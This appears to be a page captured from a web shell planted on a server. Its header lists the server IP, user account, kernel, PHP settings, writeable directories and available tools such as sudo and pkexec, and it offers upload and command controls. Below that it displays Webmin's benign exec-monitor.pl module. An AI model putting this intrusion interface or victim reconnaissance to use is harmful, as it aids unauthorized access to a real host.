Private
Server IP : 195.201.23.43  /  Your IP : 3.149.255.21
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/status/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/status/exec-monitor.pl
# exec-monitor.pl
# Check if some command exits with non-zero status

sub get_exec_status
{
my $re = $_[0]->{'regexp'};
if ($re ne '') {
	# Get output and compare
	my $out = &backquote_logged("($_[0]->{'cmd'}) 2>&1 </dev/null");
	my $match = eval { $out =~ /$re/ };
	if ($@) {
		return { 'up' => -1, 'desc' => $@ };
		}
	elsif ($_[0]->{'remode'} == 0 && !$match) {
		return { 'up' => 0 };
		}
	elsif ($_[0]->{'remode'} == 1 && $match) {
		return { 'up' => 0 };
		}
	}
else {
	# Just get exit status
	&system_logged("($_[0]->{'cmd'}) >/dev/null 2>&1 </dev/null");
	}
if ($_[0]->{'mode'} == 0) {
	return { 'up' => $? == 0 ? 1 : 0 };
	}
elsif ($_[0]->{'mode'} == 1) {
	return { 'up' => $? == 0 ? 0 : 1 };
	}
else {
	return { 'up' => 1 };
	}
}

sub show_exec_dialog
{
print &ui_table_row($text{'exec_cmd'},
	&ui_textbox("cmd", $_[0]->{'cmd'}, 70), 3);

print &ui_table_row($text{'exec_mode'},
	&ui_radio("mode", $_[0]->{'mode'} || 0,
		  [ [ 0, $text{'exec_mode0'} ],
		    [ 1, $text{'exec_mode1'} ],
		    [ 2, $text{'exec_mode2'} ] ]), 3);

print &ui_table_row($text{'exec_regexp'},
	&ui_opt_textbox("regexp", $_[0]->{'regexp'}, 60, $text{'exec_noregexp'}), 3);

print &ui_table_row($text{'exec_remode'},
	&ui_radio("remode", $_[0]->{'remode'} || 0,
		  [ [ 0, $text{'exec_remode0'} ],
		    [ 1, $text{'exec_remode1'} ] ]), 3);
}

sub parse_exec_dialog
{
$in{'cmd'} || &error($text{'exec_ecmd'});
$_[0]->{'cmd'} = $in{'cmd'};
$_[0]->{'mode'} = $in{'mode'};
$_[0]->{'regexp'} = $in{'regexp_def'} ? undef : $in{'regexp'};
$_[0]->{'remode'} = $in{'remode'};
}

Private